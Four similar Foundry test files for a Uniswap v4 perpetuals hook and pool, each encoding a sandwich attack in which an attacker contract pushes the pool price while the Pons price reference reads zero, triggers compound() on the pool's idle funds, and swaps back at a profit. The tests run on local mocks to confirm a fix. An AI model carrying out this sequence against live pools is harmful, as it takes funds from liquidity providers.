// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {BalanceDelta} from "@uniswap/v4-core/src/types/BalanceDelta.sol";
import {SwapParams} from "@uniswap/v4-core/src/types/PoolOperation.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {IMD6900PerpsLaunch} from "src/IMD6900PerpsLaunch.sol";
import {IMD6900PerpHook, PonsLaunchedToken} from "src/IMD6900PerpHook.sol";
import {IMD6900PerpPool} from "src/IMD6900PerpPool.sol";

contract Coin {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    function mint(address to, uint256 a) external { balanceOf[to] += a; }
    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }
    function transferFrom(address f, address to, uint256 a) external returns (bool) {
        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;
        balanceOf[f] -= a; balanceOf[to] += a; return true;
    }
}

/// A Pons factory whose launch has graduated but whose Uniswap pool is not created yet (phase 1, not 2)
contract GraduatingFactory {
    address public memeHook;
    PonsLaunchedToken l;
    constructor(address token, address curve) {
        l.token = token; l.curve = curve; l.exists = true; l.phase = 1; l.poolFee = 10_000; l.tickSpacing = 60;
    }
    function getLaunchedToken(address) external view returns (PonsLaunchedToken memory) { return l; }
}

/// The coin's Pons curve the moment it graduates: reserves are frozen, the pool is not there yet
contract GraduatedCurve {
    address public token; address public factory; uint256 q; uint256 t;
    constructor(address token_, uint256 q_, uint256 t_) { token = token_; q = q_; t = t_; factory = address(new GraduatingFactory(token_, address(this))); }
    function getReserves() external view returns (uint256, uint256) { return (q, t); }
    function graduated() external pure returns (bool) { return true; }
    function pairToken() external pure returns (address) { return address(0); }
}

contract Trader {
    IPoolManager immutable pm; PoolKey key;
    constructor(IPoolManager pm_) { pm = pm_; }
    function swap(PoolKey calldata k, bool buy, int256 amountSpecified) external payable returns (BalanceDelta d) {
        key = k;
        d = abi.decode(pm.unlock(abi.encode(buy, amountSpecified)), (BalanceDelta));
    }
    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (bool buy, int256 amt) = abi.decode(data, (bool, int256));
        BalanceDelta d = pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), "");
        _settle(key.currency0, d.amount0());
        _settle(key.currency1, d.amount1());
        return abi.encode(d);
    }
    function _settle(Currency c, int128 v) internal {
        if (v < 0) {
            if (c.isAddressZero()) pm.settle{value: uint128(-v)}();
            else { pm.sync(c); Coin(Currency.unwrap(c)).transfer(address(pm), uint128(-v)); pm.settle(); }
        } else if (v > 0) pm.take(c, address(this), uint128(v));
    }
    receive() external payable {}
}

/// compound() reads hook.deviationBps(), which is 0 both when the pool sits on the Pons price and when there is no
/// Pons price to read. The second case lets anyone pair the pool's idle funds at a price they just pushed, which is
/// exactly what COMPOUND_MAX_DEV_BPS was added to stop.
contract CompoundNoReferenceTest is Test {
    IPoolManager PM;
    address constant OWNER = address(0xA11CE);
    IMD6900PerpHook hook; IMD6900PerpPool pool; Coin coin; Trader attacker; PoolKey key;

    function setUp() public {
        PM = IPoolManager(address(new PoolManager(address(this))));
        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(PM, 10_000, OWNER, OWNER);
        hook = l.hook(); pool = l.pool();
        coin = new Coin();
        // the coin's Pons market, at 1e9 coin per ETH, graduated and between the curve and the Pons pool (phase 1)
        GraduatedCurve curve = new GraduatedCurve(address(coin), 1 ether, 1e27);
        coin.mint(OWNER, 2e27);
        vm.deal(OWNER, 10 ether);
        vm.startPrank(OWNER);
        coin.approve(address(pool), type(uint256).max);
        pool.open{value: 2 ether}(address(coin), address(curve), uint160(31_622) << 96, 2e27);
        vm.stopPrank();
        key = pool.poolKey();
        // the pool's idle funds: its fee-split share and coin released to it, waiting for compound
        vm.deal(address(pool), 0.5 ether);
        coin.mint(address(pool), 5e26);
        attacker = new Trader(PM);
        vm.deal(address(attacker), 10 ether);
    }

    function test_CompoundRefusesToPairIdleFundsWithoutAPonsReference() public {
        assertEq(hook.ponsPriceX96(), 0, "no reference: graduated, pool not created yet");
        uint256 p0 = hook.poolPriceX96();
        // the band is off, so a 1 ETH buy into 2 ETH of depth goes through and leaves the pool far from where it was
        attacker.swap(key, true, -1 ether);
        uint256 p1 = hook.poolPriceX96();
        assertLt(p1 * 10_000 / p0, 6_000, "the pool price moved more than 40%");
        assertEq(hook.deviationBps(), 0, "yet the hook reports the pool exactly on the Pons price");
        // the pool's idle ETH and coin must not be paired into the position at that pushed price: with no reference
        // to judge the price against, compound must refuse (any revert), as it does when the deviation is known
        uint128 liq0 = pool.liquidity();
        vm.expectRevert();
        pool.compound(0, 0);
        assertEq(pool.liquidity(), liq0, "nothing was compounded");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {BalanceDelta} from "@uniswap/v4-core/src/types/BalanceDelta.sol";
import {SwapParams} from "@uniswap/v4-core/src/types/PoolOperation.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {IMD6900PerpsLaunch} from "src/IMD6900PerpsLaunch.sol";
import {IMD6900PerpHook, PonsLaunchedToken} from "src/IMD6900PerpHook.sol";
import {IMD6900PerpPool} from "src/IMD6900PerpPool.sol";

contract ScratchCoin {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    function mint(address to, uint256 a) external { balanceOf[to] += a; }
    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }
    function transferFrom(address f, address to, uint256 a) external returns (bool) {
        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;
        balanceOf[f] -= a; balanceOf[to] += a; return true;
    }
}

/// The Pons factory as the hook reads it after graduation: the launch exists, but its pool is not created yet
/// (phase 1), so there is nothing to read a price from
contract ScratchPonsFactory {
    address immutable coin;
    constructor(address coin_) { coin = coin_; }
    function memeHook() external pure returns (address) { return address(0); }
    function getLaunchedToken(address) external view returns (PonsLaunchedToken memory l) {
        l.token = coin; l.exists = true; l.phase = 1;
    }
}

/// A Pons bonding curve: prices while trading; once anyone buys it through its threshold it graduates, its reserves are
/// swept, and until Pons creates the graduated pool the hook reads no reference at all
contract ScratchCurve {
    uint256 public q; uint256 public t; address public token; address public factory; bool public graduated;
    constructor(address token_, address factory_, uint256 q_, uint256 t_) { token = token_; factory = factory_; q = q_; t = t_; }
    function graduate() external { graduated = true; q = 0; t = 0; }
    function getReserves() external view returns (uint256, uint256) { return (q, t); }
    function pairToken() external pure returns (address) { return address(0); }
}

contract ScratchTrader {
    IPoolManager immutable pm; PoolKey key;
    constructor(IPoolManager pm_) { pm = pm_; }
    function swap(PoolKey calldata k, bool buy, int256 amountSpecified) external returns (BalanceDelta d) {
        key = k;
        d = abi.decode(pm.unlock(abi.encode(buy, amountSpecified)), (BalanceDelta));
    }
    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (bool buy, int256 amt) = abi.decode(data, (bool, int256));
        BalanceDelta d = pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), "");
        _settle(key.currency0, d.amount0());
        _settle(key.currency1, d.amount1());
        return abi.encode(d);
    }
    function _settle(Currency c, int128 v) internal {
        if (v < 0) {
            if (c.isAddressZero()) pm.settle{value: uint128(-v)}();
            else { pm.sync(c); ScratchCoin(Currency.unwrap(c)).transfer(address(pm), uint128(-v)); pm.settle(); }
        } else if (v > 0) pm.take(c, address(this), uint128(v));
    }
    receive() external payable {}
}

/// compound() pairs the pool's idle ETH and coin at the pool's spot price. Its guard (deviation from Pons <= 1%) reads
/// 0 whenever the Pons reference is unreadable (IMD6900PerpHook._deviation returns 0 for ref == 0), so in that state an
/// unprivileged caller can push the pool's price, compound the idle funds at it, and trade back for a profit taken from
/// the pool.
contract CompoundUnreadablePonsTest is Test {
    address constant OWNER = address(0xA11CE);
    uint256 constant PRICE = 1e9; // coin per ETH, the true price

    IPoolManager pm; IMD6900PerpHook hook; IMD6900PerpPool pool; ScratchCoin coin; ScratchCurve curve; ScratchTrader attacker;
    PoolKey key;

    function setUp() public {
        pm = IPoolManager(address(new PoolManager(address(this))));
        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(pm, 10_000, OWNER, OWNER);
        hook = l.hook(); pool = l.pool();
        coin = new ScratchCoin();
        curve = new ScratchCurve(address(coin), address(new ScratchPonsFactory(address(coin))), 1 ether, 1e27);
        coin.mint(OWNER, 2e27);
        vm.deal(OWNER, 10 ether);
        vm.startPrank(OWNER);
        coin.approve(address(pool), type(uint256).max);
        pool.open{value: 2 ether}(address(coin), address(curve), uint160(31_622) << 96, 2e27);
        vm.stopPrank();
        key = pool.poolKey();
        // idle funds in the pool: its share of the coin's creator fees and released coin, waiting for compound
        vm.deal(address(pool), 0.5 ether);
        coin.mint(address(pool), 5e26);
        attacker = new ScratchTrader(pm);
        coin.mint(address(attacker), 2e27);
    }

    function _valueOf(address who) internal view returns (uint256) {
        return who.balance + coin.balanceOf(who) / PRICE; // in ETH at the true price
    }

    function test_CompoundIsSandwichableWhileThePonsReferenceIsUnreadable() public {
        // the reference goes dark without any owner action: the curve graduated and Pons has not created its pool yet
        curve.graduate();
        assertEq(hook.ponsPriceX96(), 0, "no reference");
        assertEq(hook.deviationBps(), 0, "and the guard reads that as 'on price'");

        uint256 poolBefore = _valueOf(address(pool)) + 4 ether; // idle + the position (2 ETH + 2e27 coin)
        uint256 attackerBefore = _valueOf(address(attacker));

        // 1. push the pool's price: sell 2e27 coin (the band is off, so nothing refuses it)
        BalanceDelta d = attacker.swap(key, false, -2e27);
        uint256 ethOut = uint256(uint128(d.amount0()));
        // 2. compound the pool's idle funds at the pushed price (the fixed code refuses; this code pairs them)
        try pool.compound(0, 0) {} catch {}
        // 3. buy the coin back with the ETH from step 1
        attacker.swap(key, true, -int256(ethOut));

        uint256 attackerAfter = _valueOf(address(attacker));
        emit log_named_decimal_uint("attacker value before (ETH)", attackerBefore, 18);
        emit log_named_decimal_uint("attacker value after  (ETH)", attackerAfter, 18);
        // a round trip through a 1% pool must cost the trader, never pay them: the pool's own funds are the source
        assertLe(attackerAfter, attackerBefore, "the round trip around compound paid the attacker from the pool's idle funds");
        // and the pool (idle + position, valued at the true price) must not have lost more than it earned in fees
        uint128 liq = pool.liquidity();
        vm.prank(OWNER);
        pool.removeLiquidity(liq, address(pool), address(pool));
        uint256 poolAfter = _valueOf(address(pool));
        emit log_named_decimal_uint("pool value before (ETH)", poolBefore, 18);
        emit log_named_decimal_uint("pool value after  (ETH)", poolAfter, 18);
        assertGe(poolAfter, poolBefore, "the pool lost value to the sandwich");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {BalanceDelta} from "@uniswap/v4-core/src/types/BalanceDelta.sol";
import {SwapParams} from "@uniswap/v4-core/src/types/PoolOperation.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {IMD6900PerpsLaunch} from "src/IMD6900PerpsLaunch.sol";
import {IMD6900PerpHook, PonsLaunchedToken} from "src/IMD6900PerpHook.sol";
import {IMD6900PerpPool} from "src/IMD6900PerpPool.sol";

contract Coin {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    function mint(address to, uint256 a) external { balanceOf[to] += a; }
    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }
    function transferFrom(address f, address to, uint256 a) external returns (bool) {
        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;
        balanceOf[f] -= a; balanceOf[to] += a; return true;
    }
}

/// A Pons factory whose launch record says: graduated, pool not created yet (phase 1, "before that there is no pool to read")
contract PonsFactoryBetweenPhases {
    address immutable coin;
    constructor(address coin_) { coin = coin_; }
    function memeHook() external pure returns (address) { return address(0); }
    function getLaunchedToken(address) external view returns (PonsLaunchedToken memory l) {
        l.token = coin;
        l.exists = true;
        l.phase = 1;
    }
}

/// A Pons curve that has graduated: its reserves are no longer the market, and its pool is not open yet
contract GraduatedCurve {
    address public token;
    address public factory;
    constructor(address token_, address factory_) { token = token_; factory = factory_; }
    function getReserves() external pure returns (uint256, uint256) { return (1 ether, 1e27); }
    function graduated() external pure returns (bool) { return true; }
    function pairToken() external pure returns (address) { return address(0); }
}

contract Attacker {
    IPoolManager immutable pm;
    PoolKey key;
    constructor(IPoolManager pm_) { pm = pm_; }
    function swap(PoolKey calldata k, bool buy, int256 amountSpecified) external returns (BalanceDelta d) {
        key = k;
        d = abi.decode(pm.unlock(abi.encode(buy, amountSpecified)), (BalanceDelta));
    }
    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (bool buy, int256 amt) = abi.decode(data, (bool, int256));
        BalanceDelta d = pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), "");
        _settle(key.currency0, d.amount0());
        _settle(key.currency1, d.amount1());
        return abi.encode(d);
    }
    function _settle(Currency c, int128 v) internal {
        if (v < 0) {
            if (c.isAddressZero()) pm.settle{value: uint128(-v)}();
            else { pm.sync(c); Coin(Currency.unwrap(c)).transfer(address(pm), uint128(-v)); pm.settle(); }
        } else if (v > 0) pm.take(c, address(this), uint128(v));
    }
    receive() external payable {}
}

/// compound()'s 1% Pons guard reads deviationBps(), and IMD6900PerpHook._deviation() returns 0 when the reference is 0.
/// A zero reference (the curve graduated, Pons' pool not created yet; or any unreadable reference) is therefore read
/// as "exactly on price", and compound pairs the pool's idle funds at whatever spot price a caller has just pushed:
/// the sandwich the ea1c84c3 fix (COMPOUND_MAX_DEV_BPS) was meant to close. Fixed when compound refuses a zero reference.
contract CompoundNoReferenceTest is Test {
    IPoolManager PM;
    address constant OWNER = address(0xA11CE);
    IMD6900PerpHook hook; IMD6900PerpPool pool; Coin coin; GraduatedCurve curve; Attacker attacker;
    PoolKey key;

    function setUp() public {
        PM = IPoolManager(address(new PoolManager(address(this))));
        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(PM, 10_000, OWNER, OWNER);
        hook = l.hook(); pool = l.pool();
        coin = new Coin();
        PonsFactoryBetweenPhases f = new PonsFactoryBetweenPhases(address(coin));
        curve = new GraduatedCurve(address(coin), address(f));
        coin.mint(OWNER, 2e27);
        vm.deal(OWNER, 10 ether);
        vm.startPrank(OWNER);
        coin.approve(address(pool), type(uint256).max);
        pool.open{value: 2 ether}(address(coin), address(curve), uint160(31_622) << 96, 2e27);
        vm.stopPrank();
        key = pool.poolKey();
        attacker = new Attacker(PM);
        vm.deal(address(attacker), 100 ether);
        coin.mint(address(attacker), 1e28);
        // the pool's idle funds: its share of the coin's creator fees (10% of them, per Owner.s.sol wire()) and donated coin
        vm.deal(address(pool), 1 ether);
        coin.mint(address(pool), 1e27);
    }

    function test_ZeroReferenceDisarmsTheCompoundGuard() public {
        // the Pons curve graduated, its pool is not created yet: the reference reads 0
        assertEq(hook.ponsPriceX96(), 0, "no reference");
        assertEq(hook.deviationBps(), 0, "_deviation reports a missing reference as 0 bps: exactly on price");

        // 1. the attacker pushes the pool's price by ~4x (the band is off too: _checkBand returns on ref == 0)
        uint256 price0 = hook.poolPriceX96();
        attacker.swap(key, true, -2 ether);
        uint256 price1 = hook.poolPriceX96();
        emit log_named_uint("coin per ETH before the push", price0 >> 96);
        emit log_named_uint("coin per ETH after the push", price1 >> 96);
        assertLt(price1 * 3, price0, "the pool now prices the coin at least 3x dearer than it did");

        // 2. compound() should refuse: the pool is nowhere near a Pons price it can read. Instead it pairs 1 ETH + coin at the pushed price.
        uint128 liq0 = pool.liquidity();
        bool paired;
        try pool.compound(0, 0) returns (uint128 added) {
            paired = added != 0;
        } catch {}
        assertFalse(paired, "compound paired the pool's idle funds with no Pons price to check them against");
        assertEq(pool.liquidity(), liq0, "liquidity was added at the pushed price");
    }

    /// The same sequence, run to the end, to show who pays: the attacker ends with more ETH than it began with, the
    /// pool's idle ETH is what it came from.
    function test_SandwichProfitsFromThePoolsIdleFunds() public {
        uint256 ethBefore = address(attacker).balance;
        uint256 coinBefore = coin.balanceOf(address(attacker));
        BalanceDelta d = attacker.swap(key, true, -2 ether);
        uint256 gotCoin = uint256(uint128(d.amount1()));
        try pool.compound(0, 0) {} catch {}
        attacker.swap(key, false, -int256(gotCoin));
        uint256 ethAfter = address(attacker).balance;
        emit log_named_int("attacker ETH delta (wei)", int256(ethAfter) - int256(ethBefore));
        assertEq(coin.balanceOf(address(attacker)), coinBefore, "the coin round-trips");
        assertLe(ethAfter, ethBefore, "a round trip through a 1% pool paid the trader out of the pool's idle funds");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {BalanceDelta} from "@uniswap/v4-core/src/types/BalanceDelta.sol";
import {SwapParams} from "@uniswap/v4-core/src/types/PoolOperation.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {IMD6900PerpsLaunch} from "src/IMD6900PerpsLaunch.sol";
import {IMD6900PerpHook, PonsLaunchedToken} from "src/IMD6900PerpHook.sol";
import {IMD6900PerpPool} from "src/IMD6900PerpPool.sol";

contract Coin {
    string public constant name = "coin";
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    function mint(address to, uint256 a) external { balanceOf[to] += a; }
    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }
    function transferFrom(address f, address to, uint256 a) external returns (bool) {
        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;
        balanceOf[f] -= a; balanceOf[to] += a; return true;
    }
}

/// A Pons curve that has graduated: the curve is over and the factory record says no pool exists yet (phase != 2).
/// That is one of the "no reference" states the hook reads as price 0 (band off); a factory whose record decodes
/// differently, or a curve whose read reverts, lands in the same state.
contract GraduatedCurve {
    address public immutable token;
    address public immutable factory;
    constructor(address token_, address factory_) { token = token_; factory = factory_; }
    function getReserves() external pure returns (uint256, uint256) { return (0, 0); }
    function graduated() external pure returns (bool) { return true; }
    function pairToken() external pure returns (address) { return address(0); }
}

contract PendingFactory {
    function memeHook() external pure returns (address) { return address(0); }
    function getLaunchedToken(address token) external pure returns (PonsLaunchedToken memory l) {
        l.token = token;
        l.exists = true;
        l.phase = 1; // graduated, pool not created
    }
}

/// A plain trader that swaps through the PoolManager as any router would
contract Trader {
    IPoolManager immutable pm;
    PoolKey key;
    constructor(IPoolManager pm_) { pm = pm_; }
    function swap(PoolKey calldata k, bool buy, int256 amountSpecified) external payable returns (BalanceDelta d) {
        key = k;
        d = abi.decode(pm.unlock(abi.encode(buy, amountSpecified)), (BalanceDelta));
    }
    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (bool buy, int256 amt) = abi.decode(data, (bool, int256));
        BalanceDelta d = pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), "");
        _settle(key.currency0, d.amount0());
        _settle(key.currency1, d.amount1());
        return abi.encode(d);
    }
    function _settle(Currency c, int128 v) internal {
        if (v < 0) {
            if (c.isAddressZero()) pm.settle{value: uint128(-v)}();
            else { pm.sync(c); Coin(Currency.unwrap(c)).transfer(address(pm), uint128(-v)); pm.settle(); }
        } else if (v > 0) pm.take(c, address(this), uint128(v));
    }
    receive() external payable {}
}

/// The audit fix "compound() pairs the pool's idle funds only within 1% of the Pons price" rests on deviationBps(),
/// which is 0 both at the Pons price and when there is no Pons price to read. In the second state the band is off,
/// so an attacker pushes the pool anywhere, compounds the pool's idle ETH and coin at that price, and swaps back at
/// a profit taken from the pool's own fees.
contract CompoundSandwichNoReferenceTest is Test {
    IPoolManager PM;
    address constant OWNER = address(0xA11CE);
    IMD6900PerpHook hook; IMD6900PerpPool pool; Coin coin; Trader attacker;
    PoolKey key;

    function setUp() public {
        PM = IPoolManager(address(new PoolManager(address(this))));
        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(PM, 10_000, OWNER, OWNER);
        hook = l.hook(); pool = l.pool();
        coin = new Coin();
        // opened while the coin traded on its curve, at 1e9 coin per ETH; the coin has since graduated on Pons
        GraduatedCurve curve = new GraduatedCurve(address(coin), address(new PendingFactory()));
        coin.mint(OWNER, 2e27);
        vm.deal(OWNER, 10 ether);
        vm.startPrank(OWNER);
        coin.approve(address(pool), type(uint256).max);
        pool.open{value: 2 ether}(address(coin), address(curve), uint160(31_622) << 96, 2e27);
        vm.stopPrank();
        key = pool.poolKey();
        // the pool's idle funds: its fee share from the Pons launcher and coin donated to it (what compound pairs)
        vm.deal(address(pool), 0.5 ether);
        coin.mint(address(pool), 5e26);
        attacker = new Trader(PM);
        vm.deal(address(attacker), 10 ether);
    }

    function test_CompoundIsSandwichableWhenPonsCannotBeRead() public {
        // no reference at all: the hook reads the Pons price as 0, so the deviation reads as 0 ("at Pons")
        assertEq(hook.ponsPriceX96(), 0, "no Pons price");
        assertEq(hook.deviationBps(), 0, "and the deviation reads as at-the-price");

        uint256 ethBefore = address(attacker).balance;
        uint256 price0 = hook.poolPriceX96();

        // 1. push the pool: a 4 ETH buy into 2 ETH of depth (band off, nothing refuses it)
        attacker.swap(key, true, -4 ether);
        uint256 pushed = hook.poolPriceX96();
        assertLt(pushed * 5, price0, "the pool is more than 5x away from where it opened");

        // 2. anyone compounds the pool's idle funds at the pushed price: the 1% guard does not fire
        pool.compound(0, 0);

        // 3. sell everything back
        uint256 coins = coin.balanceOf(address(attacker));
        vm.prank(address(attacker)); coin.approve(address(attacker), type(uint256).max);
        attacker.swap(key, false, -int256(coins));

        uint256 ethAfter = address(attacker).balance;
        emit log_named_decimal_uint("attacker ETH before", ethBefore, 18);
        emit log_named_decimal_uint("attacker ETH after", ethAfter, 18);
        // Expected: compound refuses (OffPons / no reference), so the round trip only loses the 1% fees twice.
        // Actual: compound runs at the pushed price and the attacker leaves with more ETH than they came with.
        assertLe(ethAfter, ethBefore, "a round trip through the pool with a compound in the middle must not pay");
    }
}